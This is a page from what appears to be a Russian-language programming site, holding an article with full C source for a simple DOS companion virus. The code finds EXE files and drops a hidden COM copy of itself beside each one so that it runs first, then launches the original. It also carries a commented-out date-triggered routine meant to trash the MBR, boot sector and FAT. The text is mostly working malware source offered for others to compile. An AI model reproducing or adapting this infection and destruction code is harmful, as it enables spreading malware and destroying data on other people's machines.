C++ C++ C# C# ASP.NET Security ASP.NET Security ASM ASM Скачать Скачать Поиск Поиск Хостинг Хостинг  
  Программа для работы с LPT портом...
Язык: .NET — ©Alexey...
  "ASP.NET Atlas" – AJAX в исполнении Micro...
Язык: .NET — ©legigor@mail.ru...
  "Невытесняющая" Многопоточность...
Язык: C/C++ — ©...
  01.05.2010 — Update World C++: Сборник GPL QT исходников
  15.12.2007 — Весь сайт целиком можно загрузить по ссылкам из раздела Скачать
Хостинг:
Windows 2003, ASP.NET 2.0
бесплатный и от 80 руб./мес


   Отправить письмо
Кулабухов Артем, Беларусь




 HLLC / Статьи. / C++

made by 'l0ck' //[ PVL ] KAPMAH опять моя лень... //сдирать хоть и такое простое с точки зрения написания куда проще //чем писать все самому целых примерно 15мин -- тем более я вири не люблю за их неактуальность !!! В общем простенький HLLC. Компилил я его на BC++, · но вроде будет и на TC 2.0 работать, а если не будет - · переделать его под Турбины как два пальца об асфальт :) · Компилируйте в ЕХЕ, переименуйте в СОМ и DIET -I MUTE.COM · Размер после сжатия - 10108. Если в Activate() убрать · коментарий с abswrite() то, если месяц будет в N раз больше · дня то настанет хана MBR, BOOT и FAT (N - число аргументов · в командной строке).
#include <alloc.h>      // Подключаем
#include <dos.h>        // стандартные
#include <fcntl.h>      // header-файлы
#include <io.h>         // ...........
int h;                  // Handle
long size;              // Hаша длина.
char *me;               // Переменная имени victim.
char *buf;              // Буфер, куда читаем себя.
int i, k, yes, exist;   // Переменные для Infect и RunVict.
struct ffblk ffblk;     //.................................

void Infect()           // Функция заражения.
{                       // Ищем ехе-шники -----------------------------+
 yes = findfirst("*.EXE", &ffblk, FA_ARCH|FA_RDONLY|FA_HIDDEN); // <---|
    while (!yes&&!k) {
       strcpy(me, ffblk.ff_name);
 for(i = 1; i < 8; i++)                              // Если нашли -
     if(me[i] == '.') break;                         // подставляем
   i++;                                       // к нему ext.
   me[i++] = 'C';                             // СОМ
   me[i++] = 'O';                             // .............
   me[i++] = 'M';                             // .............
      exist = _open(me, FA_RDONLY);           // Проверка:
       if(exist == -1) {                      // Если такого
    h = _creat(me, 0);          // файла *.com
    _write(h, buf, size);       // нету, создаем
    _close(h);                  // его и пишем в
    _chmod(me, 1, FA_HIDDEN);   // него себя, потом
    k = 1;                      // делаем Hidden
         }                      // и уходим.
         findnext(&ffblk);             // Если есть
        }    free(buf);                       // ищем другой файл
}                                                           // буфер свободен.
// Функция запуска настояшего файла.  --------------------------------+
void RunVict(char *me, char *argv[])                        // <------|
{                                                           //................
  for(i = 1; i < 255; i++)                                  // К своему имени
   if(me[i] == '.') break;                                  // прибавляем
    i++;                                                    // расширение
    me[i++] = 'E';                                          // ЕХЕ и получаем
    me[i++] = 'X';                                          // имя жертвы.
    me[i++] = 'E';                                          // ..............
execv(me, argv);                                            // И запускаем!!!
}                                                           //
// Функция активации.--------------------------------------------------+
void Activate(int n)                                        // <-------+
{                                                           //
 _AH = 0x2A; __int__(0x21);
       if(_DH == 11&& _DL == 3) {
              printf("   -----------------------¬   \n");
              printf("   ¦ Happy Birthday to U! ¦   \n");
              printf("---- Happy Birthday to U! L--¬\n");
              printf("¦ Happy Birthday dear 10ck!  ¦\n");
              printf("L--¬ Happy Birthday to U! ----\n");
              printf("В свой день рождения я ничего \n");
              printf("     не буду зар0жать!!!        ");
 exit(0);                       }
       if(n*_DL == _DH)         {
              // abswrite(2, 5, 0, (void*), 0); //Trash BOOT, MBR, FAT.
                                }

}
// Главная функция      -----------------------------------------------+
void main(int argc, char *argv[])                           // <-------|
{                                                           //...............
 Activate(argc);                                            // Активируем?
      h = _open(argv[0], O_RDONLY);                  // Открываем себя
      size = filelength(h);                          // смотрим размер
      (char *) buf = malloc(size);                   // выделяем память
      _read(h, buf, size);                           // читаем себя и
      _close(h);                                     // закрываем себя.
    Infect();                                               // Заражаем.
    RunVict(argv[0], argv);                                 // Запускаем orig.
}                                                           // ..............